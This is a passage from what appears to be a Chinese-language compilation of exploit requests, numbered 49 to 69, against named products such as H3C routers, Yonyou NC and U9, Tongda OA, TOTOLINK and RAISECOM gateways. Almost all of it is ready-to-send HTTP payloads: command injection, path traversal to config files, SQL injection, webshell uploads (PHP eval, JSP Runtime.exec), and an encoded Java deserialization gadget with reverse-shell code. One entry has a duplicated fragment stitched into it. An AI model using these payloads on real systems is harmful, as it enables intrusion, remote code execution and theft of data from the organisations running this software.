2b123ab6003b99003e2b123a1236b6003c123db6003e4d2cbe059f0006123fb02a2c0332b500402
a2c0432b80041b80042b50043bb0044592ab700454e2db600461247b02a2b123a1236b6003c124
81236b6003cb60049b0000000010086000000360 00d00000058000d00590010005b0015005c001

```
e005d002c005e0032005f00350061003c006200490063005200640056006500590067000100 8c008b00010085000001ca000400090000012a124ab8004bb6004c4d2bb600394c014e013a042c124db6000c9900402b124eb6000c9900202b124fb6000c9a0017bb005059b700512bb600521253b60052b600544c06bd002059031221535904125553590 52b533a04a7003d2b124eb6000c9900202b124fb6000c9a0017bb005059b700512bb600521256b60052b600544c06bd002059031257535904125853590 52b533a04b800591904b6005a4ebb005b592db6005cb7005d125eb6005f3a051905b6006099000b1905b60061a7000512363a06bb005b592db60062b7005d125eb6005f3a05bb005059b700511906b600521905b6006099000b1905b60061a700051236b60052b600543a0619063a072dc600072db600631907b03a051905b600643a062dc600072db600631906b03a082dc600072db600631908bf0004009300fe0109002f009300fe011d000001090112011d0000011d011f011d00000001008600000006e001b0000006b0009006c000e006d0010006e0013006f001c0070002e0071004200730059007500 6b0076007f00780093007b009c007c00ae007d00c2007e00d4007f00fa008000fe008401020085010600800109008101 0b008201120084011600850 11a0082011d0084012300850001008d008e000100850000018300040 00c000000f3124ab8004bb6004c124db6000c9a0010bb0020591265b700664ea7000dbb0020591267b700664eb800592db600683a04bb0069592b2cb6006ab7006b3a051904b6005c3a061904b600623a071905b6006c3a081904b6006d3a091905b6006e3a0a1905b6006f9a00601906b600709e0010190a1906b60071b60072a7ffee1907b600709e0010190a1907b60071b60072a7ffee1908b600709e001019091908b60071b60072a7ffee190ab600731909b60073140074b800761904b6007757a700083a0ba7ff9e1904b600631905b60078a700204ebb005059b700511279b600522db6007ab60052127bb60052b60054b0127cb0000200b800be00c1002f000000d000d3002f000100860000006e001b0000008e0010008f001d009100270093003000940 03e009500530096006100970069009800710099007e009b0086009c0093009e009b009f00a800a100ad00a200b200a300b800a500be00a600c100a700c300a800c600aa00cb00ab00d000ae00d300ac00d400ad00f000af0001008f00840001008500000 02a000300010000000e2a2ab400402ab40043b6007d57b1000000010086000000 0a0002000000b4000d00b5000100900000000200917400 0b646566696e65436c6173737571007e001a0000000276720010 6a6176612e6c616e672e537472696e67a0f0a4387a3bb342020000787076710 07e00287371007e00137571007e001800000001757100 7e001a0000000071007e001c7571007e001a0000000171007e001e7371007e00137571007e001800000000017571007e00180000000071007e00227571007e001a0000000171007e00247371007e000f7371007e0000770c000000003f400000000000007873720011 6a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f7249000974687265736f6c6478703f400000000000107708000000100000000078787 8')}}
```

49.全息 AI 网络运维平台 ajax_cloud_router_config.php 存在命令执行漏洞

```
POST /nmss/cloud/Ajax/ajax_cloud_router_config.php
HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
```

```
ping_cmd=8.8.8.8|echo test > 1.txt
```

50.H3C 路由器 userLogin.asp 信息泄漏漏洞

```
GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; CrOS aarch64 15236.9.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
```

51.润乾报表平台 InputServlet 存在任意文件读取漏洞

```
POST /InputServlet?action=13 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101
Firefox/124.0
Content-Type: application/x-www-form-urlencoded
Connection: close

file=%2F%5C..%5C%5C..%5C%5CWEB-INF%5C%5CraqsoftConfig.xml&upFileName=web.config
```

52.资管云 comfileup.php 前台文件上传漏洞

```
POST /comfileup.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0)Gecko/20100101
Firefox/127.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bc3onqob2a44s5cs8gr95i9th2
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: multipart/form-data; boundary=--------1110146050
Content-Length: 143

----------1110146050
Content-Disposition: form-data; name="file";filename="1.php"
```

```
<?php eval($_POST['a']); ?>
----------1110146050--
```

53.北京中科聚网一体化运营平台 importVisualModuleImg 接口存在文件上传漏洞

```
POST /manage/tplresource/importVisualModuleImg?moduleId=2 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----9979a3f1-cdb1-43af-af88-a9b48b67cf71
Cookie: JSESSIONID=9438c497-92ad-4800-b821-20602adec4ac; rememberMe=dcOzuzCzFrtr02GhN9IwcsR9v759kvzO9wq/upEQ0jwsU5y/25kFW52CaKmZoRP7pwH979ifBBXB3b+li3PSXwZmxnh+bMgi6kv5vv8WNkNdy1pblj7sPxtwIm71auJPyyOl+aMKAhk/71leMQLpneRk/8f6USYL/acFuWhpjyuVU6oP6YJdIoCKGgdxAiUk;

------9979a3f1-cdb1-43af-af88-a9b48b67cf71
Content-Disposition: form-data; name="file"; filename="tmp.jsp"
Content-Type: multipart/form-data

<%
	Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
------9979a3f1-cdb1-43af-af88-a9b48b67cf71--
```

54.天问物业 ERP 系统 ContractDownLoad.aspx 任意文件读

```
GET /HM/M_Main/InformationManage/ContractDownLoad.aspx?ContractFile=../web.config HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

55.用友 u9 接口 GetConnectionString 存在信息泄露漏洞

```
POST /CS/Office/TransWebService.asmx HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101
Firefox/126.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
SOAPAction: http://tempuri.org/GetEnterprise
Content-Type: text/xml;charset=UTF-8
Content-Length: 198

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:tem="http://tempuri.org/">
    <soap:Header/>
    <soap:Body>
        <tem:GetEnterprise/>
    </soap:Body>
</soap:Envelope>
```

56.建文工程管理系统 desktop 存在 SQL 注入

```
POST /SysFrame4/Desktop.ashx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

account=1'+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','233')),3,32))<
0--&method=isChangePwd&pwd=
```

57.迈普无线管理系统存在信息泄露

```
POST /form/exportConfigByHttp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
```

```
Download_config=%E5%AF%BC%E5%87%BA
```

58.TOTOLINK A6000R 命令执行漏洞（CVE-2024-41319）

```
GET /cgi-bin/luci/admin/mtk/webcmd?cmd=ls%20/>/www/111.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb Kit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

59.创客零售商城系统前台任意文件上传漏洞

```
POST /Login/shangchuan HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary03rNBzFMIytvpWhy
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
```

60.用友时空 KSOA PreviewKPQT SQL 注入漏洞

```
GET /kp/PreviewKPQT.jsp?KPQTID=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
```

61.汇智 ERP-filehandle.aspx 存在任意文件读取漏洞

```
GET /nssys/common/filehandle.aspx?filepath=C%3a%2fwindows%2fwin%2eini HTTP/1.1
Host:{{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
```

62.智邦国际 ERP 系统 SQL 注入

```
GET /SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1&userId=-1%20union%20select%20@@version-- HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
```

63.JeePlus 快速开发平台 resetpassword 存在 SQL 注入漏洞

```
GET /a/sys/user/resetPassword?mobile=18888888888%27and%20(updatexml(1,concat(0x7e,(select%20md5(123456)),0x7e),1))%23 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb Kit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

64.泛微 ecology_dev.zip 信息泄露漏洞

```
GET /cloudstore/ecode/setup/ecology_dev.zip HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
15. LiveNVR 流媒体服务软件存在未授权访问漏洞
GET /api/v1/device/channeltree?serial=&pcode HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
```

65.LiveNVR 流媒体服务软件存在未授权访问漏洞

```
GET /api/v1/device/channeltree?serial=&pcode HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/41.0.2227.0 Safari/537.36
```

66.通达 OA V11.10 login.php SQL 注入漏洞

```
POST /ispirit/interface/login.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/102.0.0.0 Safari/537.36
Content-Type:application/x-www-form-urlencoded

name=123&pass=123&_SERVER[REMOTE_ADDR]=1','10',(select+@`,’
`+or+if(1%3d0,1,(select+~0%2b1))+limit+0,1))—+’
```

67.超级猫签名 APP 分发平台前台存在 SQL 注入漏洞

```
GET /user/install/downfile_ios?id=') UNION ALL SELECT
NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS
NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: {{Hostname}}
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
```

68.瑞斯康达 RAISECOM 网关设备 list_base_config.php 存在远程命令执行漏洞

```
GET
/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo.php%60 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

69.用友 NC nc.bs.pub.im.UserAuthenticationServlet 反序列化漏洞

```
POST /servlet/~uapim/nc.bs.pub.im.UserAuthenticationServlet HTTP/1.1
Host: {{Hostname}}
Cmd: whoami

{{base64_decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI
/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGll
ZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9
MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbn
MubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL
2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0a
W9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lc
nN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG
9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAA
AB3NyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUc
mFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACpvcmcubW96aWxsYS5q
YXZhc2NyaXB0LkRlZmluaW5nQ2xhc3NMb2FkZXIAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGU
uY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAI
AA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEv
bGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGp
hdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAF1cgASW0xqYXZhLmxhbmcuQ2xhc3M7
qxbXrsvNWpkCAAB4cAAAAAB0ABZnZXREZWNsYXJlZENvbnN0cnVjdG9ydXEAfgAaAAAAAXZxAH4A
GnNxAH4AE3VxAH4AGAAAAAF1cQB+ABgAAAAAdAALbmV3SW5zdGFuY2V1cQB+ABoAAAABdnE
AfgAYc3EAfgATdXEAfgAYAAAAAnQAAkE0dXIAAltCrPMX+AYIVOACAAB4cAAAG7vK/rq+AAAAMQGa
CgAeAK0KAEMArgoAQwCvCgAeALAIALEKABwAsgoAswC0CgCzALUHALYKAEMAtwgApQoAIQC4CA
C5CAC6BwC7CAC8CAC9BwC+CgAcAL8IAMAIAMEHAMIILABYAwwsAxADFCwDEAMYIAMcIAMgHA
MkKABwAygcAywoAzADNCADOBwDPCADQCgCPANEKACEA0ggA0wkA1ADVCgDUANYIANcKAI8A2
AoAHADZCADaBwDbCgAcANwIAN0HAN4IAN8IAOAKABwA4QcA4goAQwDjCgDkANgIAOUKACEA5
ggA5woAIQDoCADpCgAhAOoKAI8A6wgA7AoAIQDtCADuCQCPAO8KANQA8AkAjwDxBwDyCgBDA
```

PMKAEMA9AgApggA9QgA9goAjwD3CAD4CgCPAPkHAPoKAEwA+wcA/AoATgD9CgCPAP4KAE4A/w
oATgEACgBOAQEKAC8BAgoATAEDCgAhAQQIAQUKAQYBBwoAIQEICAEJCAEKCAELBwEMCgBdAK0K
AF0BDQgBDgoAXQECCAEPCAEQCAERCAESCgETARQKARMBFQcBFgoBFwEYCgBoARkIARoKAGgBG
woAaADFCgBoARwKARcBHQoBFwEeCAEfCAEgCgETASEHASIKAHQBIwoAdAEYCgEXASQKAHQBJAo
AdAElCgEmAScKASYBKAoBKQEqCgEpAQAFAAAAAAAAADIKAEMBKwoBFwEsCgB0AQEIAS0KAC8BL
ggBLwgBMAoA1AExCgCPATIIATMIATQIATUIATYIAKkIATcHATgBAAxCQVNFNjRfQ0hBUlMBABJMam
F2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlCAE5AQACaXABAARwb3J0AQATTGphdmEvb
GFuZy9JbnRlZ2VyOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFe
GNlcHRpb25zAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0Ns
YXNzOwEACVNpZ25hdHVyZQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzcz
wqPjsBAAVwcm94eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAFd
3JpdGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcv
U3RyaW5nOwEACmNsZWFyUGFyYW0BAARleGVjAQAHcmV2ZXJzZQEAJyhMamF2YS9sYW5nL1N0
cmluZztJKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3J1bgEABmRlY29kZQEAFihMamF2YS9sYW5nL1N0
cmluZzspW0IBAApTb3VyY2VGaWxlAQAHQTQuamF2YQwAlwCYDAE6ATsMATwBPQwBPgE/AQAHd
GhyZWFkcwwBQAFBBwFCDAFDAUQMAUUBRgEAE1tMamF2YS9sYW5nL1RocmVhZDsMAUcBSAw
BSQFKAQAEaHR0cAEABnRhcmdldAEAEmphdmEvbGFuZy9SdW5uYWJsZQEABnRoaXMkMAEAB2h
hbmRsZXIBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAUsBPwEABmdsb2JhbAEAC
nByb2Nlc3NvcnMBAA5qYXZhL3V0aWwvTGlzdAwBTAFNBwFODAFPAVAMAVEBUgEAA3JlcQEAC2dl
dFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDAFTAVQBABBqYXZhL2xhbmcvT2JqZWN0BwFVDAF
WAVcBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDACgAKEMAVgBWQEACXNld
FN0YXR1cwcBWgwBWwFcDAFdAV4BACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1
bmsMAJwAnQwBXwFSAQAIc2V0Qnl0ZXMBAAJbQgwBYAFUAQAHZG9Xcml0ZQEAE2phdmEvbGFu
Zy9FeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAwBYQCdAQAgamF2YS9sYW
5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24MAWIBYwcBZAEAAAwBZQFmAQAQY29tbWFuZCBub3
QgbnVsbAwBZwFIAQAFIyMjIyMMAWgBaQwApAChAQABOgwBagFrAQAiY29tbWFuZCByZXZlcnNlI
Ghvc3QgZm9ybWF0IGVycm9yIQwAlACRDAFsAW0MAJUAlgEAEGphdmEvbGFuZy9UaHJlYWQMAJ
cBbgwBbwCYAQAFJCQkJCQBABJmaWxlIGZvcm1hdCBlcnJvciEMAKIAowEABUBAQEBADAClAKEBAA
xqYXZhL2lvL0ZpbGUMAJcBcAEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAlwFxDACpAKo
MAKIBcgwBcwCYDAF0AJgMAXUBSAwBdgFIDAF3AXgBAAdvcy5uYW1lBwF5DAF6AKEMAXsBSAEA
A3dpbgEABHBpbmcBAAItbgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAF8AX0BAAUgLW4gNA
EAAi9jAQAFIC10IDQBAAJzaAEAAi1jBwF+DAF/AYAMAKUBgQEAEWphdmEvdXRpbC9TY2FubmVyB
wGCDAGDAYQMAJcBhQEAAlxhDAGGAYcMAVEBSAwBiAGEDAGJAJgBAAcvYmluL3NoAQAHY21kLm
V4ZQwApQGKAQAPamF2YS9uZXQvU29ja2V0DACXAYsMAYwBjQwBjgFQBwGPDAGQAZEMAZIBkQ
cBkwwAogGUDAGVAZYMAZcBkQEAHXJldmVyc2UgZXhlY3V0ZSBlcnJvciwgbXNnIC0+DAGYAUgBAA
EhAQATcmV2ZXJzZSBleGVjdXRlIG9rIQwBmQGRDACmAKcBABZzdW4ubWlzYy5CQVNFNjREZWNvZ
GVyAQAMZGVjb2RlQnVmZmVyAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBACZvcmcu
YXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NAEAAkE0AQBAQUJDREVGR0hJSktMTU
5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLwEADWN
1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZK
ClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXN
zOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmV
mbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAA
QoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAd

nZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL
0NoYXJTZXF1ZW5jZTspWgEADWdldFN1cGVyY2xhc3MBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpb
C9JdGVyYXRvcjsBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAF
CgpTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1t
MamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFu
Zy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbG
FuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAEKClbQgEAEWphdmEvb
GFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHdmFsdWVPZgEAFihJKUxqY
XZhL2xhbmcvSW50ZWdlcjsBAAtuZXdJbnN0YW5jZQEAEWdldERlY2xhcmVkTWV0aG9kAQAHZm9y
TmFtZQEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBA
BVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoB
AAR0cmltAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEABXNwbGl0AQAnKEx
qYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAIcGFyc2VJbnQBABUoTGphdm
EvbGFuZy9TdHJpbmc7KUkBABcoTGphdmEvbGFuZy9SdW5uYWJsZTspVgEABXN0YXJ0AQAVKExqYX
ZhL2xhbmcvU3RyaW5nOylWAQARKExqYXZhL2lvL0ZpbGU7KVYBAAUoW0IpVgEABWZsdXNoAQAF
Y2xvc2UBAAh0b1N0cmluZwEAD2dldEFic29sdXRlUGF0aAEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZ
y9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW
5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAGYXB
wZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQARa
mF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7A
QAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9
Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMa
mF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzs
pTGphdmEvdXRpbC9TY2FubmVyOwEADmdldEVycm9yU3RyZWFtAQAHZGVzdHJveQEAJyhMamF2
YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAFihMamF2YS9sYW5nL1N0cmluZztJ
KVYBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBAAhpc0Nsb3NlZ
AEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAUamF2Y
S9pby9PdXRwdXRTdHJlYW0BAAQoSSlWAQAFc2xlZXABAAQoSilWAQAJZXhpdFZhbHVlAQAKZ2V0T
WVzc2FnZQEACGludFZhbHVlACEAjwAeAAEADwADABoAkACRAAEAkgAAAAIAkwACAJQAkQAAAAI
AlQCWAAAACQABAJcAmAACAJkAAAO2AAYAEwAAAo4qtwABuAACtgADTCu2AAQSBbYABk0sBLYA
BywrtgAIwAAJwAAJTi06BBkEvjYFAzYGFQYVBaICWBkEFQYyOgcZB8cABqcCQxkHtgAKOggZCBILtgA
MmgANGQgSDbYADJoABqcCJRkHtgAEEg62AAZNLAS2AAcsGQe2AAg6CRkJwQAPmgAGpwICGQm
2AAQSELYABk0sBLYABywZCbYACDoJGQm2AAQSEbYABk2nABY6ChkJtgAEtgATtgATEhG2AAZNLAS2
AAcsGQm2AAg6CRkJtgAEtgATEhS2AAZNpwAQOgoZCbYABBIUtgAGTSwEtgAHLBkJtgAIOgkZCbYAB
BIVtgAGTSwEtgAHLBkJtgAIwAAWwAAWOgoZCrkAFwEAOgsZC7kAGAEAmQFbGQu5ABkBADoMG
Qy2AAQSGrYABk0sBLYABywZDLYACDoNGQ22AAQSGwO9ABy2AB0ZDQO9AB62AB86DhkNtgAEEiA
EvQAcWQMSIVO2AB0ZDQS9AB5ZAxIiU7YAH8AAIToPGQ/HAAan/5EqGQ+2ACO2ACQ6EBkOtgAEEi
UEvQAcWQOyACZTtgAdGQ4EvQAeWQMRAMi4ACdTtgAfVyoSKLYAKToRGRG2ACo6CRkREisGvQAc
WQMSLFNZBLIAJlNZBbIAJlO2AC0ZCQa9AB5ZAxkQU1kEA7gAJ1NZBRkQvrgAJ1O2AB9XGQ62AAQS
LgS9ABxZAxkRU7YAHRkOBL0AHlkDGQlTtgAfV6cATzoRKhIwtgApOhIZEhIxBL0AHFkDEixTtgAtGRIEv
QAeWQMZEFO2AB86CRkOtgAEEi4EvQAcWQMZElO2AB0ZDgS9AB5ZAxkJU7YAH1enAA6nAAU6CI
QGAaf9p7EABwCgAKsArgASAM4A3ADfABIBxAIwAjMALwA/AEQChQAvAEcAYgKFAC8AZQCFAoUAL
wCIAn8ChQAvAAEAmgAAAN4ANwAAABcABAAYAAsAGQAVABoAGgAbACYAHQA/AB8ARwAgAE4A
IQBlACIAcAAjAHUAJAB9ACUAiAAmAJMAJwCYACgAoAAqAKsALQCuACsAsAAsAMEALgDGAC8AzgA

xANwANADfADIA4QAzAOwANQDxADYA+QA3AQQAOAEJADkBFwA6ATMAOwE+ADwBQwA9AUsA
PgFkAD8BigBAAY8AQQGSAEMBnQBEAcQARgHMAEcB0wBIAg4ASQIwAE4CMwBKAjUASwI9AEwC
XQBNAn8ATwKCAFMChQBRAocAHQKNAFUAmwAAAAQAAQAvAAEAnACdAAMAmQAAADkAAgAD
